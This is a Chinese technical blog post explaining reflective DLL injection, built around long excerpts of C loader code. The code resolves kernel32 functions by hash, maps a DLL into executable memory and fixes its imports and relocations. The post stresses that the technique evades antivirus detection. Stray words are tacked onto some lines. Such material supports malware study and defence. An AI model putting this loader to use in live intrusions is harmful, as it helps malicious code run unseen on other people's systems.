(源碼做者:(HarmanySecurity)Stephen Fewer)html
0x01 反射Dll注入的優勢shell
1.反射Dll注入的主要優勢是它沒有以主機系統的任何方式(例如LoadLibrary和LoadLibraryEx)進行註冊,所以在系統和進程級別上基本上都是不可檢測的,而且反射DLL注入寫入了較少的的shellcode,進一步下降被檢測到的可能性。數組
1.在遠程開發中使用反射DLL注入時,注入到宿主進程的Dll難以被反病毒的文件掃描器檢測到,由於它從不會接觸到磁盤,直接從內存中寫入加載到宿主進程。函數
0x02 注入過程(原理)oop
反射Dll注入的過程分兩大步,首先反射Dll注入將Dll從內存加載到宿主進程中。而後Dll將經過實現一個自實現的文件加載器程序來加載它本身(例如解析其導入表以及移到內存中的適當位置的重定位表修正),以知足dll的運行指望。而後,它就能夠在宿主進程中,嗯,「參與」到宿主進程的「活動」中。ui
流程:this
1.先將Dll映像文件(原始PE文件)寫入到宿主進程空間當中spa
2.reflectiveloader將首先計算imagede 的當前位置,以便後續加載本身。code
3.在宿主進程中查詢Kernel32動態庫,計算出三個函數的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc。orm
4.reflectiveloader繼續分配的內存中的連續區域,用於加載Dll.
5.reflectiveloader將Dll的 headers 和 sections 複製到宿主進程中的新分配的內存區域。
6.reflectiveloader修正Dll中的導入表
7.reflectiveloader修正Dll中的重定位表
8.reflectiveloader加載工做完成後調用DLL入口點
0x03 加載Dll文件的reflectiveloader的關鍵流程具體實現
(1)查詢Kernel32動態庫,計算出三個函數的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc:
首先要獲取PEB:
#ifdef _WIN64 Peb = (PPEB)__readgsqword(0x60); #else #ifdef _WIN32 Peb = (PPEB)__readfsdword(0x30); #else #endif #endif
再經過PEB獲得Kernel32動態庫的地址,先看PEB的結構:
看到0x18偏移處的成員PEB_LDR_DATA:
其中的三個LIST_ENTRY鏈表,按照不一樣的順序將當前進程加載的全部模塊連接起來,遍歷其中的任意一個LIST_ENTRY,均可以得到全部模塊的基地址。
再看這個LDR_DATA_TABLE_ENTRY的結構:
經過PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根鏈表,咱們也能經過LDR_DATA_TABLE_ENTRY結構中的FULLDLLNAME成員獲得模塊名,用來肯定kernel32模塊,進一步獲得模塊基地址DllBase.
#define KERNEL32DLL_HASH 0x6A4ABC5B Ldr = (ULONG_PTR)Peb->Ldr; LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink; while (LdrDataTableEntry) { ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer; //雙字 ModuleNameLength = LdrDataTableEntry->FullDllName.Length; ModuleHashValue = 0; do { ModuleHashValue = ror((DWORD)ModuleHashValue); if (*((BYTE *)ModuleName) >= 'a') //轉換爲大寫 ModuleHashValue += *((BYTE *)ModuleName) - 0x20; else ModuleHashValue += *((BYTE *)ModuleName); ModuleName++; } while (--ModuleNameLength); //在目標進程中查詢Kernel32動態庫 if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH) { //得到Kerner32.dll的模塊地址 ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0]; //DllBase
獲得kernel32的基地址後,再步步爲營,獲得NT頭,數據目錄表,導出表,從而在導出表中查找三個函數LoadLibraryA,GetProcAddress,VirtualAlloc的地址:
if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH) { //得到Kerner32.dll的模塊地址 ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0]; //DllBase ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew); //有兩個成員的結構體目錄 ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; //導出表地址 ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames); AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals); NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames; IsLoop = 4; // loop while we still have imports to find while (IsLoop > 0&&NumberOfNames>0) { // compute the hash values for this function name HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames))); // if we have found a function we want we get its virtual address if (HashValue == LOADLIBRARYA_HASH || HashValue == GETPROCADDRESS_HASH || HashValue == VIRTUALALLOC_HASH || HashValue == EXITTHREAD_HSAH) { // get the VA for the array of addresses AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions); // use this functions name ordinal as an index into the array of name pointers AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD)); // store this functions VA if (HashValue == LOADLIBRARYA_HASH) LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); else if (HashValue == GETPROCADDRESS_HASH) GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); else if (HashValue == VIRTUALALLOC_HASH) VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); else if (HashValue == EXITTHREAD_HSAH) ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); // decrement our counter IsLoop--; } // get the next exported function name AddressOfNames += sizeof(DWORD); // get the next exported function name ordinal AddressOfNameOrdinals += sizeof(WORD); NumberOfNames--; }
(2)繼續分配的內存中的連續區域,用於加載Dll,將Dll的 headers 和 sections 複製到宿主進程中的新分配的內存區域,內存粒度對齊各個節
// STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew); // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // we must now copy over the headers SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders; v1 = (BYTE*)RemoteBufferData; v2 = (BYTE*)VirtualAddress; while (SizeOfHeaders--) *(BYTE *)v2++ = *(BYTE *)v1++;
// uiValueA = the VA of the first section ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader + ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader); // itterate through all sections, loading them into memory. NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections; while (NumberOfSections--) { // uiValueB is the VA for this section SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress); // uiValueC if the VA for this sections data SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData); // copy the section over SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData; while (SizeOfRawData--) *(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++; // get the VA of the next section ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER); }
(3)修正Dll中的導入表
修改DLL的導入表,使這些被引入的函數能正常運行。
PE文件的引入表是一個元素爲IMAGE_IMPORT_DESCRIPTOR的數組。每個被依賴的DLL都對應着數組中的一個元素。
(導入表的解析請見:http://www.cnblogs.com/lsh123/p/7754347.html)
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; // we assume their is an import table to process // uiValueC is the first entry in the import table ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name) { // use LoadLibraryA to load the imported module into memory ModuleBase = (ULONG_PTR)LoadLibraryA( (LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)); // uiValueD = VA of the OriginalFirstThunk OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk); // itterate through all imported functions, importing by ordinal if no name present while (DEREFERENCE(FirstThunk)) { // 索引導入 if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // get the VA of the modules NT Header ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew; ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // get the VA of the export directory ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); // get the VA for the array of addresses AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions); // use the import ordinal (- export ordinal base) as an index into the array of addresses AddressOfFunctions += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD)); // patch in the address for this imported function DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions)); } else { //修正名稱導入的函數地址 // get the VA of this functions import by name struct ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk)); // use GetProcAddress and patch in the address for this imported function DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name); } // get the next imported function FirstThunk += sizeof(ULONG_PTR); if (OriginalFirstThunk) OriginalFirstThunk += sizeof(ULONG_PTR); } // get the next import ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR); }
(4)修正重定位表
數據目錄表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表(重定位表的解析請見:http://www.cnblogs.com/lsh123/p/7755187.html)
ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew; Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase; //表明重定向表的目錄 ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // check if their are any relocations present if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size) { //定位到重定向表 ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); // and we itterate through all entries... while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock) { //重定向表中的word表 v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress); // uiValueB = number of entries in this relocation block ImageBaseRelocationItemCount = (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_BASE_RELOCATION_ITEM); // uiValueD is now the first entry in the current relocation block ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while (ImageBaseRelocationItemCount--) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += Diff; else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += (DWORD)Diff; else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH) *(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += HIWORD(Diff); else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW) *(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff); // get the next entry in the current relocation block ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM); } // get the next entry in the relocation directory ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock; } }